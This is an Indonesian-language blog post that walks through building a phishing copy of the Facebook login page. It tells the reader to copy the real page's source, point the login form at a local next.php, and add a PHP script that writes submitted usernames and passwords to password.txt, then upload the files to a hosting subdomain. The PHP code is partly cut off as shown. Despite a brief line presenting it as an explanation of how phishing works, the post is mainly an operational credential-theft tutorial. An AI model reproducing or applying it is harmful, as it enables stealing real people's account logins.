Phising Facebook

Sudah tidak asing lagi di dunia internet kl sebuah layanan di jadiakan sarana untuk melakuan tindakan kejahatan, salah satunya adalah PHISING, dari dulu sampai sekarang sudah banyak sekali kegiatan itu yg menggunakan layanan seperti facebook, friendster, myspace, dll..
phising merupakan suatu metode penipuan yg yang menyerupai situs aslinya namun, tidak ada perbedaan sama sekali....

pada phising facebook, seorang pelaku mencoba mencoba mengambil informasi2 rahasia seperti username dan password...
dan kemudian mengalihkannya halaman situs yg sebenarnya ....
tutorial dibawah ini menjelaskan bagaimana metode phising itu terjadi ....

kita perlu mengubah beberapa kode html, liat kode sumber dari situs aslix .....copy paste di notepad
kemudian Edit>> pencarian. dan cari "action =" tanpa tanda kutip :



kemudian ganti method "post" menjadi "get"
dan ganti action "http://login.facebook.com/login.php" menjadi "next.php"
simpan file tersebut dengan nama index.php bukan index.html
kemudian bikin satu file baru dengan nama "next.php" dan tuliskan code berikut :

Quote: $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

kemudian buat file kosong dengan nama "password.txt" disinilah username dan password akan terkumpul,

terakhir upload ketiga file tersebut "index.php", "next.php" dan "password.txt" ke sub domain hosting..

Tidak ada komentar:

Posting Komentar